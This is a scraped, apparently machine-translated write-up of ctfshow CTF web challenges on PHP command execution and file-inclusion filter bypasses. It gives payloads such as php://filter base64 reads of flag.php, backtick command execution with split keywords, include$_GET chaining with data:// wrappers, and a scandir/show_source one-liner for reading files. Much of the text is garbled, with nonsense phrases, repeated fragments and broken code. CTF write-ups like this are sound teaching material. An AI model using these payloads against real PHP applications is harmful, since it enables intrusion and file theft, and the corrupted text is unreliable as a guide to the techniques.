Shulou(Shulou.com)05/31 Report--

In this issue, the editor will bring you about how to execute ctfshow commands in php. The article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.

Web29~ filtering keyword command execution requires strict filtering

Source code:

& url=php://filter/read=convert.base64-encode/resource=flag.php

Topic wp:

Echo `nl fl''ag.p'' hp`; web31~ filter cat. The blank command is executed, which requires strict filtering.

Source code:

& url=php://filter/read=convert.base64-encode/resource=flag.php

Official

Show_source (next (array_reverse (scandir (pos (localeconv (); web32~ file contains bypass & axiphpblog hand hand filter hand readbasket convert.Base64Lue encodestop resourceworthy .phpweb33 ~ file contains bypass

Source code:

& a=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET [1]? > & 1First phpVERDUGUR DUBG filterUnix readreadable convert.Base64MIRENCODEGUP resourceworthy. Phpweb34 ~ the file contains bypass

Source code:

& a=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET [1]? > & 1Firstly phpa=php://filter/read=convert.base64-encode/resource=flag.phpweb37~data a=php://filter/read=convert.base64-encode/resource=flag.phpweb37~data protocol is contained in the file containing bypass & a=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET [1]? > & 1FILT [1] > & 1Bypass

Data://text/plain, which is equivalent to executing the php statement. php because the previous php statement has been closed, so the latter .php will be displayed directly on the page as a html page, which will not help.

Web40~ has no parameters to read files

This question filters $, +, -, ^, ~ to make XOR augment and reverse construction characters unusable, as well as letters and numbers. But deliberately left an OR operator |. We can try to find or calculate the characters that can get our available characters from the characters with an ascii of 0-255s. Here first give two scripts exp.py rce_or.php, you can use or bypass the operation can be manually modified later. Generate a set-combination of available characters

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.